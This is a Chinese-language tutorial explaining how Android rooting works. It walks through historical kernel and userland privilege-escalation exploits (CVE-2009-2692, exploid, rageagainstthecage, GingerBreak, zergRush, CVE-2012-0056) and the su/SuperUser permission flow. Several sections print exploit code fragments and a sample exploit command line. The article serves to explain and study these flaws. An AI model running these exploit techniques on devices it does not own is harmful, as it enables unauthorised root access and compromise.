Android教程網
  1. 首頁
  2. Android 技術
  3. Android 手機
  4. Android 系統教程
  5. Android 游戲
 Android教程網 >> Android技術 >> 關於Android編程 >> Android--手機一鍵Root原理分析

Android--手機一鍵Root原理分析

編輯:關於Android編程

Root的由來

什麼是Root?Root本身是指Linux系統的root帳戶,該帳戶擁有整個系統至高無上的權利,系統中的所有對象它都可以操作,對於Android手機用戶來說的Root是指擁有Root權限,一般情況下,手機廠商出於安全考慮會關閉手機的Root權限,手機系統是運行在普通用戶權限下的,用戶是無法操作系統中的文件與數據的。

Root與刷機本身是有很多關聯的,而且隨著刷機工具的便利與刷機原理的變化,兩者的關系更加是模糊不清了。不同廠商針對獲取Root權限設置了不同的要塞。

首先從刷機說起,如HTC手機在刷機前需要保證S-OFF,S-OFF代表什麼呢?S代表 SecurityLock安全鎖,保護鎖的意思,S-OFF就是關掉鎖保護。然後是Motorola的手機,這個廠商對於不同型號的手機設置是不同的,很多Motorola型號的手機將BootLoader是鎖住的,因此,在刷機前需要先解鎖BootLoader。還有中興手機,這廠商更是變態,一次次的版本升級只是為了鎖住用戶不讓用戶升級,也就導致了同一型號的手機由於版本不同有的型號帶Recovery,有的又不帶。三星的手機現在可以說是最好賣的,一方面是出色的硬件配置與外觀,另一方面是有眾多的Rom包可以刷。三星的好幾款手機是Google源碼的測試樣機,而且三星手機在出廠時對用戶的限制相比其它品牌是較少的,這也是廣大Android開發者對它青睐有加的原因。

早先的Android手機要想獲取Root權限可以有以下幾種方式:

1.使用本地提權漏洞利用工具來直接Root,這是最原始最純潔的方式。隨著廠商對Rom的升級,這些內核的漏洞隨時都可能被修補,因此,這種Root方法在時間與空間上都有著很大的局限性。

2.由於手機廠商對硬件的封閉,加上內核補丁修補很完全,這個時候獲取Root權限就更難了,這個時候刷機與Root就聯合起來了,由於不能從系統內部通過Exploits來獲取Root權限,只能通過修改Rom包來達到Root的目的,這也是目前很多第三方Rom包自帶了Root的原因,然而手機廠商也不是吃干飯的,手機廠商在OTA升級時使用Recovery對包簽名進行驗證來防止用戶刷入修改過的包。對於這種變態的廠商,只能通過FastBoot來線刷了,這裡內容就不再展開了。

3.當然,還有一部分廠商,為了吸引更多用戶購買他們的手機,還是在手機中偷偷的留了後門的,比如不鎖BootLoader,讓用戶刷第三方的Recovery,又或是干脆留個以前的漏洞不補,讓用戶自己來Exploits等等。

Root漏洞的歷史

Root漏洞不是與生俱來的,這是全世界優秀的計算機黑客不懈努力的成果。也許那個你在夜店喝酒的夜晚,他們正尋找著系統的漏洞,一次次的測試,一次次的失敗,最終在你醉得不省人事的時候,他們獲取到了系統的最高控制權。他們歡呼,他們嚎叫,他們是全天下是聰明的人!

也許你對他們的事跡不屑一顧,但我相信你對他們的研究成果是饒有興趣的。下來由我來帶領大家,看看這一路走來,都出現過哪裡牛人,他們又為我們帶來了哪些驚喜。

 

CVE-2009-2692

我無法知道Android提權漏洞是從哪個開始的,但我在我印象中,它是最早的。這個漏洞的發現者是Zinx,他是探索Android安全之路的先驅。現在每個Root後的手機中肯定有SuperUser.apk軟件,而Zinx就是早先SuperUser的作者,現在SuperUser由ChainsDD來負責更新了,Zinx前輩常年混跡於國外xda論壇,不過現在好像很少露面了。

這個洞是09年的,現在早已經修補了。從Zinx提供的android-root-20090816.tar.gz壓縮包時間來看,這個Exploit是在Android NDK r1發布後近兩個月公布的,可見Zinx研究Android的時間是多麼的早!這個洞的原作者並不是Znix,Znix只是將洞移植到了Android上,這個洞的作者在Exploit中給出的協議驅動程序包括pppox, bluetooth, appletalk, ipx, sctp,Znix改寫的Android版本使用的buletooth協議。這個漏洞的起因是sock_sendpage()的空指針解引用。因為sock_sendpage沒有對socket_file_ops結構的sendpage字段做指針檢查,有些模塊不具備sendpage功能,初始時賦為NULL,這樣,沒有做檢查的sock_sendpage有可能直接調用空指針而導致出錯並提升權限!

接著,sendfile(fdout, fdin, NULL,PAGE_SIZE);的調用使得該洞被觸發,最終執行以下代碼獲取到Root權限:

int __attribute__((section(".null"))) root_sendpage(void*sk, void *page, int offset, size_t size, int flags)

{

current->uid =current->euid = 0;

current->gid =current->egid = 0;

got_root = 1;

return -ECONNREFUSED;

}

CVE-2010-EASY

這個漏洞是由“The Android Exploid Crew”小組發現的。在公布的代碼中,提供了多達三種的提權方法!分別是exploid.c、exploid2.c、rageagainstthecage.c三個文件。

exploid.c與屬於exploid2.c同一類Exploit,這個洞的形成是由於udev對熱插拔消息檢測不嚴導致的,用戶通過發送惡意信息讓內核加載自定義的惡意程序從而取得root權限。在代碼中,兩者都是通過NET_LINK來完成通信,只是在處理“geteuid() == 0”時代碼不同而以,程序發送偽熱插拔消息,讓內核執行自身代碼,而內核由於沒有檢查消息發送者是內核還是用戶,就匆忙的執行了,這時“geteuid() == 0”條件成立,接下來只需開個sh就完成了Root工作。創建Socket並發送消息的代碼如下:

if ((sock =socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)

die("[-] socket");

 

close(creat("loading", 0666));

if ((ofd = creat("hotplug",0644)) < 0)

die("[-] creat");

if (write(ofd, path , strlen(path)) <0)

die("[-] write");

close(ofd);

symlink("/proc/sys/kernel/hotplug","data");

snprintf(buf, sizeof(buf),"ACTION=add%cDEVPATH=/..%s%c"

"SUBSYSTEM=firmware%c"

"FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir,0);

printf("[+] sending add message...\n");

if (sendmsg(sock, &msg, 0) < 0)

die("[-] sendmsg");

close(sock);

rageagainstthecage.c這個洞有人把它稱為setuid提權漏洞,這個漏洞的形成過程我個人感覺只能用“巧妙”來形容!代碼通過將adbd後台服務子進程耗盡迫使adbd重啟,adbd在重啟的時候具有root權限,正常情況下這時adbd會調用setuid將權限降到shell,但是由於rageagainstthecage讓adbd的僵屍進程充斥著整個系統,這時候setuid會調用失敗,最後adbd就被保留了root權限運行,從而完成root提權。核心代碼如下:

1if (fork() > 0)

2 exit(0);

3

4setsid();

5pipe(pepe);

6

7if (fork() == 0) {

8 close(pepe[0]);

9for (;;) {

10 if ((p = fork()) ==0) {

11 exit(0);

12 } else if (p < 0){

13 if (new_pids){

14 printf("\n[+]Forked %d childs.\n", pids);

15new_pids = 0;

16write(pepe[1], &c, 1);

17close(pepe[1]);

18 }

19 } else {

20 ++pids;

21 }

22 }

23}

24 close(pepe[1]);

25 read(pepe[0],&c, 1);

第1-3行代碼fork子進程後退出,第4-6行子進程獨立並創建兩支管道同來同步進程,具體是由第8行與第25行是一關一讀來實現的,第10-11行是不停的創建子進程,然後不停退出,這時僵屍產生了!直到最後p < 0輸出創建的子進程數目。在這段代碼執行完後會重啟adb進程,adb進程重啟會執行setgid(AID_SHELL)與setuid(AID_SHELL)兩行代碼來降權,可是這時候由於進程數達到上限setuid執行失敗,這就使得adb進程以Root權限繼續執行下去了。

GingerBreak

GingerBreak本身不是Linux內核漏洞,因此它沒有正規的漏洞編號。與上面的漏洞同樣的是,GingerBreak也是由“The Android Exploid Crew”小組“發明”的,它的工作原理與Hook類似,通過代碼修改/system/bin/vold程序的GOT表項,將strcmp()、atoi()等函數的地址為system()函數的地址,然後觸發調用strcmp()或atoi()來達到執行system()的目的,而後者真正被執行後會為我們來帶久違的Root Shell,修改函數地址的代碼片斷如下:

vold.pid= found;

vold.found= 1;

if(vold.system)

return;

ptr= find_symbol("system");

vold.system= (uint32_t)ptr;

在修改完函數地址後,就要考慮如何來觸發了,“The AndroidExploid Crew”小組再一次使用了NET_LINK進行通信,通過發送熱插拔消息讓void中的strcmp()或atoi()被調用!但不同的Android系統版本可能操作起來有所不同,於是,需要手工構造消息,然後發送:

/*Trigger any of the GOT overwriten strcmp(), atoi(), strdup() etc.

* inside vold main binary.

* Arent we smart? Using old school techniquefrom '99 to fsck NX while others

* re-invent "ROP". Wuhahahahaha!!!

*/

if(honeycomb) {

n= snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"

"SEQNUM=%s%cDEVPATH=%s%c"

"MAJOR=%s%cMINOR=%s%cDEVTYPE=%s%cPARTN=1",

0, 0, 0, bsh, 0, bsh,0, bsh, 0, bsh, 0, bsh, 0);

}else if (froyo) {

n= snprintf(buf, sizeof(buf), "@/foo%cACTION=add%cSUBSYSTEM=block%c"

"DEVPATH=%s%c"

"MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1",

0, 0, 0, bsh, 0, 0,vold.system, 0, 0);

}else {

n= snprintf(buf, sizeof(buf), "%s;@%s%cACTION=%s%cSUBSYSTEM=%s%c"

"SEQNUM=%s%cDEVPATH=%s%c"

"MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=1",

bsh, bsh, 0, bsh, 0,bsh, 0, bsh, 0, bsh, 0, 0, vold.system, 0, 0);

}

可以看到,代碼的適用范圍是froyo到honeycomb,仔細看一下代碼的注釋部分,代碼的作者真的卡哇伊呢!

zergRush

同GingerBreak一樣,zergRush也不屬於內核漏洞。這個漏洞是大名鼎鼎的Revolutionary工具開發小組公布的,這個小組開發的Revolutionary解鎖工具對於HTC的用戶應該不陌生吧!這個漏洞的原理是由於libsysutils.so庫中的FrameworkListener::dispatchCommand函數的一個棧變量引起的,棧變量argv[FrameworkListener::CMD_ARGS_MAX]由於允許的最大下標為16,如果我們特意傳送超過 16 個空格分割的字符串,函數就會溢出。

整個溢出工具的代碼框架與GingerBreak是一樣的,我估計是在GingerBreak代碼基礎上加工的,嘿嘿,整個代碼的核心部分在do_fault函數中,代碼設計十分巧妙,經過精心的構造最終執行安排的Shellcode,整個過程通過代碼閱讀很難在大腦中建立模型結構,建議還是手動調試好。

以上介紹的幾個漏洞代碼都是優秀的,無可挑剔的,它們目前在全球各地以各種名稱與形式存在著。

CVE-2012-0056

2012年1月23日,正當我們與家人聚在一起吃團年飯的時候,國外的小伙zx2c4在自己的主頁上公布了此漏洞,隨後,xda上的網友saurik對其編寫了Android版本的Exploit。這個漏洞的原理是利用系統中具體s屬性的程序通過自修改程序的內存,執行Shellcode達到獲得Root權限的目的。完成修改進程內存的動作前需要解決兩個問題:

1.系統只允許$pid進程或者$pid的調試進程對/proc/$pid/mem文件進行寫入。

2.系統會檢查打開/poc/$pid/mem的程序的self_exec_id是否與當前運行的程序相同,一個進程使用exec()後self_exec_id會自動加一,以此來保護內存不會被別的程序修改。

解決第一個問題很簡單,可以直接打開自己進程的內存即可,第二個問題就難辦了,因為進程打開自己時self_exec_id已經加一了,zx2c4使用子進程來巧妙的解決了這個問題,首先fork()子進程來保存進程的mem文件到CMSG_DATA,然後父進程使用dup(2)創建2號fd,接著dup2(mem,2)將mem的內容dup2給2號fd,這時2號fd指向了/poc/$pid/mem的fd,下一步是構造參數args,調用"/system/bin/run-as"來執行Exploit,代碼如下:

……

int save = dup(2);

dup2(mem, 2);

close(mem);

if (save != 3) {

dup2(save, 3);

close(save);

}

char self[1024];

_syscall(readlink("/proc/self/exe", self, sizeof(self) - 1));

char *args[4 + argc + 1];

args[0] = strdup("run-as");

args[1] = (char *) exploit;

args[2] = self;

args[3] = strdup("-");

int i;

for (i = 0; i != argc; ++i)

args[4 + i] = argv[i];

args[4 + i] = NULL;

_syscall(execv("/system/bin/run-as", args));

return 0;

漏洞利用程序在運行時需要提供三個參數exit()函數地址、setresuid()函數地址以及一個命令,如Root掉Galaxy Nexus手機可以執行:./data/local/tmp/mempodroid0xd7f4 0xad4b sh

exit()與setresuid()函數地址的獲取很簡單,可以使用objdump查找,可以使用如下代碼來獲取:

intmain(void) {

void* lib = dlopen("libc.so", RTLD_NOW |RTLD_GLOBAL);

void* symbol;

if (lib == NULL) {

fprintf(stderr,"Could not open self-executable with dlopen(NULL) !!: %s\n",dlerror());

return 1;

}

symbol = dlsym(lib,"exit");

if (symbol == NULL) {

fprintf(stderr,"Could not lookup symbol exit !!: %s\n", dlerror());

return 2;

}

printf("exit()addr:%08x\n", symbol);

symbol = dlsym(lib,"setresuid");

if (symbol == NULL) {

fprintf(stderr,"Could not lookup symbol setresuid !!: %s\n", dlerror());

return 2;

}

printf("setresuid()addr:%08x\n", symbol);

dlclose(lib);

return 0;

}

這個漏洞目前是最新的,並且漏洞的補丁是Linux的父親Linus親自提交的。在最新ICS 4.0.2(ICL53F)以前的Android系統中,這個漏洞可以正常工作。

su與SuperUser.apk是如何協作的

在Root後手機會植入su與superuser.apk兩個文件,前者會被放入手機的/system/bin目錄下,後者被放到/system/app目錄下,它們組合在一起,為系統提供了su權限的管理。這兩個工具目前由xda論壇上的ChainsDD在維護(順便說一下,國內xxRoot工具也有自已的su與SuperUser.apk文件,修改取自並修改於ChainsDD的代碼,並且版權被切)。

su程序與Linux平台上的su本身無太大差別,只是由於系統的特殊性去掉了部分內容,並加上了一些控制代碼。su程序保留的命令行參數不多,“-c”與“-s”可能是最常用的,整個程序核心功能由兩個方向性的函數allow()與deny()組成,在經過計算獲取到了命令行參數與命令後,會執行以下代碼:

if(su_from.uid == AID_ROOT || su_from.uid == AID_SHELL)

allow(shell, orig_umask);

if (stat(REQUESTOR_DATA_PATH, &st) < 0) {

PLOGE("stat");

deny();

}

……

setgroups(0, NULL);

setegid(st.st_gid);

seteuid(st.st_uid);

AID_ROOT與AID_SHELL分別是root與shell權限,程序直接放行,stat()函數會檢查手機是否安裝有SuperUser.apk,沒有程序會拒絕執行。條件滿足就會以Superuser的權限往下執行:

db =database_init();

if (!db) {

LOGE("sudb - Could not open database,prompt user");

dballow = DB_INTERACTIVE;

} else {

LOGE("sudb - Database opened");

dballow = database_check(db, &su_from,&su_to);

sqlite3_close(db);

db = NULL;

LOGE("sudb - Database closed");

}

switch (dballow){

case DB_DENY: deny();

case DB_ALLOW: allow(shell,orig_umask);

case DB_INTERACTIVE: break;

default: deny();

}

database_init()與database_check()負責從SuperUser.apk程序databases目錄下的permissions.sqlite數據庫中讀取權限設置,這也是為什麼SuperUser.apk有能力控制su的原因!(人家主動找上門的)等dballow弄到手,該放行該拒絕就看著辦了,如果沒搜索到記錄就代表是第一次,需要往下建立socket來send_intent,send_intent()采用底層構造Intent方式來發送廣播,這個廣播會被SuperUser.apk接收,等返回後會給你返回個字符串“ALLOW”或“DENY”,這時候su程序該咋地就咋地了:

if(send_intent(&su_from, &su_to, socket_path, -1, 0) < 0) {

deny();

}

if(socket_receive_result(socket_serv_fd, buf, sizeof(buf)) < 0) {

deny();

}

……

if (!strcmp(result, "DENY")) {

deny();

} else if(!strcmp(result, "ALLOW")) {

allow(shell, orig_umask);

} else {

LOGE("unknown response from SuperuserRequestor: %s", result);

deny();

}

下面是SuperUser.apk的工作了,上面的廣播會被SuperUser.apk的SuRequestReceiver廣播接收者收到,廣播接收者首先讀取prompt設置,如果用戶要的是自動處理,那就根據這個值來對Root權限請求自動拒絕或自動放行,如果不自動處理,就到數據庫中搜索權限規則,並根據結果發回處理,另外SuperUser除了對普通的程序進程su權限控制外,還提供了NFC、SecretCode、PinCode的監控,SuperUser同時注冊了安裝與卸載Apk的廣播接收者,在安裝與卸載時會對權限數據庫中的條目進行更新或刪除操作,限於篇幅,SuperUser的詳細實現在此就不再展開了。

 

到這裡本文就告一段落了。本文主要分析了手機Root權限獲取的過程,並介紹了常見的幾個Root提權漏洞,最後通過分析su與SuperUser.apk的協作方式解了Root真正的原理。
  1. 上一頁:
  2. 下一頁:
熱門文章
閱讀排行版
Copyright © Android教程網 All Rights Reserved